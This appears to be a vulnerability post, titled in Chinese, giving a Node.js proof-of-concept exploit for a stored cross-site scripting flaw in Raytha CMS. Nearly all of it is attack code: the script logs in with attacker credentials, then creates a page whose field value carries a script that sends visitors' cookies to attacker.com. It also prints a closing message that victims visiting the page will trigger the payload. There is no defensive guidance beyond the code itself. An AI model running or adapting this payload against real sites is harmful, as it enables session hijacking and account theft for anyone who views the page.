CVE-2025-69237 Raytha CMS存储型XSS漏洞

// CVE-2025-69237 PoC - Raytha CMS Stored XSS via FieldValues[0].Value // Authentication required with content creation permissions const fetch = require('node-fetch'); const BASE_URL = 'http://target-website.com'; const LOGIN_ENDPOINT = '/auth/login'; const PAGE_CREATE_ENDPOINT = '/api/pages/create'; // Step 1: Authenticate and obtain session cookie async function login(username, password) { const response = await fetch(`${BASE_URL}${LOGIN_ENDPOINT}`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ username, password }), credentials: 'include' }); return response.headers.get('set-cookie'); } // Step 2: Create page with malicious XSS payload in FieldValues[0].Value async function createPageWithXSS(cookie) { const xssPayload = "'><script>document.location='https://attacker.com/steal?c='+document.cookie</script>"; const pageData = { title: 'Malicious Page', templateId: 'default', FieldValues: [{ Key: 'content_field', Value: xssPayload // XSS injection point }] }; const response = await fetch(`${BASE_URL}${PAGE_CREATE_ENDPOINT}`, { method: 'POST', headers: { 'Content-Type': 'application/json', 'Cookie': cookie }, body: JSON.stringify(pageData) }); return response.json(); } // Execute PoC (async () => { const cookie = await login('attacker_user', 'password123'); const result = await createPageWithXSS(cookie); console.log('Page created:', result); console.log('XSS payload stored. Victims visiting the page will trigger the script.'); })();